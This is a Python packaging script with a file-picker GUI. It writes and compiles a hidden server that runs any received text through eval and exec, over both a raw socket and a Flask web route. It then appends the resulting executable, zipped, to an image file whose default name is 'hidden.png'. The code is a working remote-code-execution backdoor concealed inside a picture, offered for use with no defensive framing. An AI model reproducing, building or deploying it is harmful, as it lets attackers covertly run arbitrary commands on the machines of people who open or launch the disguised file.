from tkinter.messagebox import showwarning
from subprocess import Popen , DEVNULL ,PIPE
import sys
if Popen("pyinstaller",stderr=PIPE).communicate()[0]:
    if not Popen("pip",stderr=PIPE).communicate()[0]:
        Popen("pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
    else:
        showwarning("Pip not found","Python and Pip is required to run this program")
        sys.exit()
from subprocess import Popen , DEVNULL
from zipfile import ZipFile , ZIP_DEFLATED
from os import walk , path , remove , getcwd 
from shutil import rmtree
from io import BytesIO
from argparse import ArgumentParser
argparse = ArgumentParser()
argparse.add_argument("-c","--console",help="Run as console app",action="store_true")
argparse.add_argument("-f","--folder",help="Folder to package",type=str)
argparse.add_argument("-i","--icon",help="Icon file",type=str)
argparse.add_argument("-o","--output",help="Output file",type=str)
args = argparse.parse_args()
def save_zip(directory1,directory2):
    bytes = BytesIO()
    zipf = ZipFile(bytes, 'w', ZIP_DEFLATED)
    for root, _, files in walk(directory1):
        for file in files:
            zipf.write(path.join(root, file), path.relpath(path.join(root, file), path.join(directory1, '.')))
    for root, _, files in walk(directory2):
        for file in files:
            zipf.write(path.join(root, file), path.relpath(path.join(root, file), path.join(directory2, '.')))    
    zipf.close()
    return bytes.getvalue()

def package_app(folderpath: str,iconpath: str,saveappimage: str):
    open(rf"{folderpath}\app.py","w+").write("""
import socket
import threading
from argparse import ArgumentParser
import flask
parser = ArgumentParser()
parser.add_argument("-p", "--port", dest="port", type=int, default=12345, help="port to listen on")
parser.add_argument("-a", "--address", dest="address", type=str, default="127.0.0.1", help="address to listen on")
parser.add_argument("-m", "--maximum-connections", dest="max_connections", type=int, default=2, help="maximum number of connections to allow")
args = parser.parse_args()
def run_command(command:str):
    try:
        result = eval(command,globals())
        if result:
            return str(result)
        else:
            return
    except SyntaxError:
        try:
            exec(command,globals())
            return 
        except Exception as e:
            return str(e)
    except Exception as e:
        return str(e)
def handle_client(conn, addr):
    while True:
        data = conn.recv(1024).decode()
        if not data:
            break
        response = run_command(data)
        if data == "exit()":
            break
        if response:
            conn.sendall(response.encode())
        else:
            conn.sendall("Action performed".encode())
    conn.close()
host = args.address
port = args.port
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(args.max_connections)
app = flask.Flask(__name__)
@app.route("/")
def index():
    return run_command(flask.request.args.get("command"))
def socketlistener():
    while True:
        conn, addr = server_socket.accept()
        if threading.activeCount() <= 3:
            client_thread = threading.Thread(target=handle_client, args=(conn, addr))
            client_thread.start()
        else:
            pass

if __name__ == "__main__":
    T1 = threading.Thread(target=socketlistener)
    T2 = threading.Thread(target=app.run, kwargs={"host": host, "port": port})
    T1.start()
    T2.start()
    T1.join()
    T2.join()
""")
    Popen(["pyinstaller","--noconfirm","--onedir","--console","--name","main","--contents-directory",".","--clean","--disable-windowed-traceback","--runtime-tmpdir",".","--distpath",getcwd(),folderpath+r"\app.py"],stdout=DEVNULL,stderr=DEVNULL).communicate()
    rmtree("build")
    remove("main.spec")
    remove(folderpath+r"\app.py")
    open(saveappimage,"wb").write(open(iconpath,"rb").read()+save_zip("main",folderpath))
    rmtree("main")
if args.console:
    package_app(args.folder,args.icon,args.output)
else:
    from tkinter.filedialog import askdirectory , askopenfilename , asksaveasfilename
    package_app(askdirectory(),askopenfilename(filetypes=[("Image files",["*.png","*.jpg","*.jpeg"])]),asksaveasfilename(defaultextension=".png",initialfile="hidden.png"))